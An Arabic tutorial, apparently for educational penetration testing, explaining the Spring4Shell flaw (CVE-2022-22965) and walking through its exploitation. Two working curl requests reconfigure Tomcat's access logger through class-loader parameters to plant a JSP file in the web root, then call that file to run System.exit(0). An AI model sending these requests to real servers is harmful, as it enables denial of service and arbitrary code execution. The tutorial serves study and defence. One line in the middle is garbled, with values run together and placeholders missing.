
عرض توضيحي مصغر لاستغلال ثغرة Spring4Shell (CVE-2022-22965) يستهدف Tomcat عبر التلاعب بمُحمل الفئات (class-loader)، مع سلسلة هجوم خطوة بخطوة تعتمد على curl لأغراض اختبار الاختراق التعليمي.
في وقت كتابة هذا النص، يسمح ربط معاملات الطلب في Spring-Web (WebDataBinder) افتراضيًا بالوصول إلى طريقة getClass() للكائن.
هذه تفاصيل تنفيذ داخلية خاصة بـ JVM (في رأيي المتواضع لا ينبغي كشفها).
وبالتالي، قد تتغير ميزاتها وتُوسع مع الإصدارات المستقبلية من JVM.
وهذا يجعله عبئًا مستمرًا على المطورين، حيث يحاولون التنبؤ بالطرق الإبداعية التي قد يستغلها المهاجمون للوصول القوي هذا بطرق خبيثة.
في هذا CVE بالذات، كان السبب هو طريقة Class::getModule() التي أُدخلت في Java 9. مما فتح وصولًا غير محروس إلى محمل الفئات (class-loader).
في المثال أدناه، يستخدم المهاجم ذلك لإعادة تكوين مسجل الوصول الخاص بـ Tomcat. في العادة، يكتب معلومات قصيرة عن كل طلب يستقبله الخادم إلى ملف سجل.
تحدد الخاصية pattern ما يُكتب من معلومات، و directory أين يجب وضع ملف السجل، و prefix, fileDateFormat, suffix ما يجب أن يكون اسم الملف.
الطلب التالي سيستهدف نقطة نهاية لتطبيقنا الضعيف . يعيد تكوين المسجل لكتابة سطر لكل طلب يتم معالجته، إلى ملف في الدليل ، حيث هو عنصر نائب لقيمة رأس الطلب .
POSTpoc-0<%{e}iSystem.exit(0);%{e}i>f.jspwebapps/ROOT%{e}ieهذا استخدام غير متوقع/إبداعي للمسجل، والباقي هو خادم تطبيقات JSP و Tomcat قياسي قيد التشغيل.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
بعد لحظة، سيتم إنشاء ملف f.jsp، ويلتقطه Tomcat، ويُجمّع ويُعرض لخدمة الحركة المرورية.
الطلب التالي يستدعيه، مما سينفذ كود System.exit(0); المضمن ويوقف JVM الذي يعمل عليه.
curl -v http://container-ip:8080/f.jsp
هذا مثال على هجوم رفض الخدمة (DoS)، لكن System.exit(0); هو كود Java عادي، لذا يمكن للمهاجم فعل الكثير.